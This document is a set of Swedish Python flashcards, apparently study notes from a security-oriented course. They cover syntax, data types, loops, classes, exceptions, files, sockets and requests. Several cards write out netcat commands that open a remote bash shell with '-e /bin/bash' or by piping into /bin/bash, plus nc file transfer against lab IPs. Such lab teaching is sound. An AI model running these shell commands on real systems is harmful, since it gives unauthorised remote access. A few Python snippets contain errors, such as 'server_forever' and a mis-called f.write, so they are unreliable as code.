Python Flashcards
Förklara slices.
# Slices - at ta ut delar av en variabel:
alpha = “abdefg”
print(alpha[1:3]) print(alpha[3:]) print(alpha[:3]) print(alpha[3:-2]) print(alpha[-3:4]) print(alpha[::2]) print(alpha[1::2])
slut på kod
Output: bd efg abd e e adf beg
Förklara lists, tuples, dictionaries.
lists: lista med olika värden som man kan ändra på/lägga till/ta bort; skapas med hakparentes [] (innehållet kan anropas på position)
tuples: oföränderlig lista, som skapas med vanliga parenteser () (innenhållet kan anropas på position)
dictionaries: lista med key:value- paar; skapas med måsvingar {} (går inte att anropa på position utan bara på key)
Hur fungerar “in” och “ not in” operators?
output:
svarar med booleansk värde (True, False))
t.ex.
alphabet = “abcdefghijklmnopqrstuvwxyz”
print(“f” in alphabet)
print(“F” in alphabet)
True
False
Vad är skillnad mellan method och function?
function() - kod som ska utföra en specifik uppgift, anropas med sitt namn; kan ta noll eller flera argument; kann spotta ut noll eller fler värden när den avslutas
.method()
- som en function, men kopplad till object/classes
- kan bara användas med det objektet som den anrops för
- är tillgänglig endast för data som finns i klassen
Hur kan jag se till att ett ord hamnar i mitten på ett visst antal tecken?
- med .center() methoden:
# Demonstrating the center() method: print('[' + 'alpha'.center(10, "*") + ']')
# output: [**alpha***]
Vilka två sorters programmeringsspråk finns det och vilken tillhör Python?
kompilerade och tolkade/interpreterade
Python är interpreterad (den behöver Python-tolken för att köras)
Vad kallas strängar som går över flera rader?
docstrings
Använd trippla enkel- eller dubbelcitationstecken.
Vilka är de operatorer som inte tillhör de fyra vanliga räknesätten?
// dividerar och avrunda till närmaste lägre heltal (t.ex.: 14 // 5 = 2) % modulus: resten av en jämn division (t.ex.: 14 % 5 = 4) ** upphöjd med (t.ex.: 3 ** 2 = 9)
Vilka vanliga klasser/typer finns det?
integer --> 1 float --> 1.0 string --> "hej" list --> ["a", "b", "c", 4, 5.0] tuple --> ("a", "b", "c", 4, 5.0) dictionary --> {'key': 'value', 'key2': 'value2'} boolean --> (True, False)
Hur importerar man en modul i Python?
import modulnamn (OBS: måste göras innan den används, gärna i början av skriptet)
Vad är ett keyword?
ord som inte kan användas som variabel, då det är reserverad
t.ex. “for”, “import” eller “not”
a) Vilket keyword används för att avsluta en loop?
b) Vilket keyword används för att börja om loopen från början?
a) break
b) continue
Vad änvänds om jag vill lämna en del tom utan att få ett felmeddelande?
pass (används när kod testas eller byggs på)
Vad använder jag om jag vill använda platshållare, dvs. måsvingar med variabler i?
f-strings
t.ex.:
minvariabel = 3.456
print(f’Den valda variabeln är {minvariabel}’)
Hur gör du för att lista alla de metoder som är möjliga att använda med en variabel?
Variabelnamn + punkt + tab
Vilken Python-version körs på bettan?
3.8
Vad är REPL?
Read-Evaluate-Print-Loop
Vad behöver du skriva i början av skriptet?
Shebang: #!/usr/bin/python3
vad måste jag göra med scriptfilen för att den ska kunnas köras?
chmod +x filnamn
sedan kan den köras med ./filnamn
Är Pythons variabler typade eller otypade?
Python använder typade variabler. Typningen sker automatiskt.
Hur lämnar jag Pythpon3-tolken?
> > > quit()
Vad heter det när man ändrar typ på en variabel?
typecasting eller typkonvertering
t.ex.:
variabel1 = 1 #sparar en integer
variabel1 = str(variabel1) #ändrar int till string
Vilken typ innehåller en variabel som skapas genom division av två tal?
float
t.ex.:
variabel2 = 2/2 # innehållet i variabeln blir då 1.0
Hur markerar jag en sträng?
omges av ‘ ‘ eller “ “ eller “”” “”” (det sista tillåter en längre sträng med radbrytningar)
Hur läser jag in tangentbordstryckningar?
input()
t.ex.:
input(“Skriv något och avsluta med Enter:”)
Hur kan man jämföra värden i Python?
== lika med != inte lika med > större än < mindre än >= större än eller lika med <= mindre än eller lika med
Vad kallas den “optiska” markering som visar att koden i ett kodblock hör ihop?
indentering
OBS: jätteviktigt att indenteringen är exakt samma i samma kodblock, t.ex. fyra mellanslag
Hur fungerar en if-sats?
if villkor: kodblock (elif villkor:) ( kodblock) else: kodblock
Hur fungerar en for loop?
exekverar kodblocken för x antal gånger:
fox x in range(1,5)
kodblock
Hur fungerar en while loop?
exekverar kodblocken så länge ett villkor är satt som True t.ex.: while x < 5 print(x) x += 1
Vad heter rekommendationen för att göra Python-koden läsbar?
PEP8
t. ex.:
- max 79 tecken på en rad
- 4 mellanslag som indentering
Vad är en funktion?
- kodblock definerat med ett namn
- kan anropas från olika andra platser i koden
- kan ta indata
- kan generera utdata
t.ex.: def funktionsnamn(): innehållet i funktionen kan innehålla flera rader måste ha samma indentering
Vad är skillnaden mellan lokala och globala variabler?
hänger ihop med funktioner:
- lokala variabler i en funktion är inte tillgängliga globalt
- globala variabler från huvudprogrammet är tillgängliga lokalt
- globala variabler som används lokalt blir inte ändrade globalt!
- variabler kan defineras som globala i en funktion med global,
t.ex.:
global x
x = “hej”
Vilken terminologi finns det inom objektorientering?
- class: definierat prototyp för ett object & dess attribut, t.ex. “Student”
- class variable: en variabel som är definerat i en class, t.ex. förnamn, efternamn, ålder
- object: unik instans av specifik klass, t.ex. Nisse är object av klassen student
- method: kommando för en klass; funktion definierad för en specifik klass, t.ex. “sätt betyg”, “registrera närvaro”
- -> en metod påverkar ett object!
- -> object. + tab: för att se tillgängliga metoder
Vad är moduler?
- mycket av Pythons funktionalitet finns i “externa” moduler
- funktionerna fins först tillgängliga när modulen laddas
- funktioner som inte finns tillgängliga kan installeras (t.ex.: pip3 install)
–>
import modulnamn #laddar modulen med samtliga klasser och metoder
from modulnamn import metodnamn #laddar endast metoden från denna modul
import modulnamn as annatmodulnamn #laddar modulen som sedan anropas med annatmodulnamn
Hur läsar jag in argument/optioner/parametrar som ett script startades med?
- -> sys.argv
- -> modulen sys används för att läser in hur skriptet startades. Argumenten finns sedan i sys.argv
Vad kan du om felhantering i Python?
fel hanteras genom exceptions: - standard exceptions: finns en lista över de vanligaste felen inbyggd - kan följa med fler vid import av modul - går att fånga: try: kodblock except: kodblock - man kan även fånga mer specifika fel (t.ex. TypeError, IndentationError), de bör listas innan except, som är det mest generella felet
Hur hanterar Python filer?
–> läsa från fil:
f = open(“filnamn”)
txt = f.read() #läser en sträng som skrivs som en sträng i variabeln txt
txt2 = f.readlines() #läser varje rad som skrivs i en lista i variabeln txt2
f.close
--> skriva till fil: f = open("filnamn", "w") for x in range (0, 5): f.write("This is line", str(x), "\r\n" ) f.close
Hur hanterar Python webbtrafik?
- http.server (även socketserver) och requests
- t.ex.: python3 -m http.server 8000 #öppnar en webbserver (http) på port 8000
import http.server
import socketserver
Handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer((“”, 8000), Handler) as httpd:
httpd.server_forever()
import requests
svar = requests.get(“https://www.sih.se”) #surfa till en webbsida
svar. + tab #för att se alla moduler
svar.text #visar svaret (sidan) i textform
Hur fungera nc (netcat)?
nc 10.0.5.254 5000 #anslut till ip:n på port 5000
nc lp 5000 #lyssnar på port 5000
-v eller -vv för mer info under körningen
sätter upp en tcp-session (syn, synack, ack)
Filöverföring:
nc -lvp 5000 > fil #lyssnar efter en fil
nc -v 10.0.5.254 5000 < fil #anslutar aktivt och för över filen OBS: fungerar även tvärtom, dvs. om man byter > och
Shell access (endast vissa versioner av nc, t.ex. netcat-traditional):
A: nc -lvp 5000 -e /bin/bash #eller cmd.exe på Windows
B: nc -v 10.0.5.254 5000 #A lyssnar, B ansluter aktivt; efter anslutning kommer B åt A:s skal
Hur ser jag till att ett modul körs endast om det används fristående och inte importerad i ett annat script?
if __name__ == “__main__”:
kodblocken körs bara om
modulen körs fristående
Hur visar nc tcp-handskakningen?
[s] #syn
[s.] #synack
[.] #ack
Vilken version av nc använde vi för att kunna få shell-access?
netcat-traditional
Vad används socket till och hur konfigureras det?
Socket används för anslutningar över nätet:
> > > import socket #socket modulen måsta alltid först importeras
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) #socketen måste alltid konfigurreras: AF_INET står för IPv4 och SOCK_STREAM står för TCP
…
»> s.connect((‘192.168.1.1’, 80)) #anslutar till en webserver (IP och port)
…
»> s.bind((“127.0.0.1”, port)) #öppnar en lyssnande socket (server) (på ipaddressen localhost och porten port)
Förklara function:
- kodblock som defineras först och som sedan kan anropas från olika platser i koden
- kan ha indata och kan generera utdata
def funktionsnamn(): kodblock
Förklara class:
- definierad prototyp för ett objekt och dess attribut
- t.ex.: “student”
- allt vi definiera i en klass i form av variabler och metoder ärvs ner till varje unik objekt
Förklara class variable:
- variabel som är definierad i en klass
- t.ex. förnamn, efternamn, ålder
Förklara object:
- unik instans av en specifik klass
- t.ex. “Nisse” är object av klassen “student”
Förklara method:
- kommando för en klass
- funktion definierad för en specifik klass
- t.ex. “.sätta betyg”, “.registrea närvaro”
- en method påverkar ett object
Vad används sys.argv till?
- det är en lista med argumenten som scriptet startades med: ./script argument
- kräver import sys
Vad är en RuntimeError?
- Python vet vad den ska göra, men det går inte.
Vad gäller för import av egna moduler?
- vid laddning körs det som är körbart (t.ex. om det finns ett print-kommando direkt i modulen kommer det att skrivas ut) if \_\_name\_\_ == "\_\_main\_\_": detta kodblock körs endast om det körs fristående och inte som importerad modul
Hur kan jag öppna ett bash-skal med netcat?
- på servern: nc.traditional -nlvp 22222 -e /bin/bash
- på klienten: nc -vv 10.0.5.116 22222
går även att pipa på klienten:
- servern: nc.traditional -nlvp 22222
- klienten: nc -vv 10.0.5.116 | /bin/bash
Hur lägger jag till en radbrytning?
“\r\n”
vad kallas detta och vad är det till för?
\
- escape character
- symbolen som kommer efter tolkas istället för att skrivas ut
- t.ex.:
\ #för att skriva en backslash
\n #för newline
\r #för carriage return
" #för “
I följande kod, vad står AF_INET respektive SOCK_STREAM för?
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- AF_INET står för IPv4
- SOCK_STREAM står för TCP
Hur fungerar requests?
import requests
svar = requests.get(“https://www.sih.se”) #surfa till en webbsida
svar. + tab #för att se alla moduler
svar.text #visar svaret (sidan) i textform
Hur lägger jag till ett värde i en lista?
listnamn. append(“tillägg”) #lägger till i slutet av listan
listnamn. insert(0 , “tillägg2”) #lägger till på position 0 (i början) av listan
Vilka delar kan ingå i en try-sats?
try: run this code except: execute this code when there is an exception else: no exceptions? run this code finally: always run this code
Vad heter formatet som markeras med b’ tecken ‘ (utan mellanslag)?
Bytes
Kan konverteras till läsbart med metoden .decode(“utf-8”)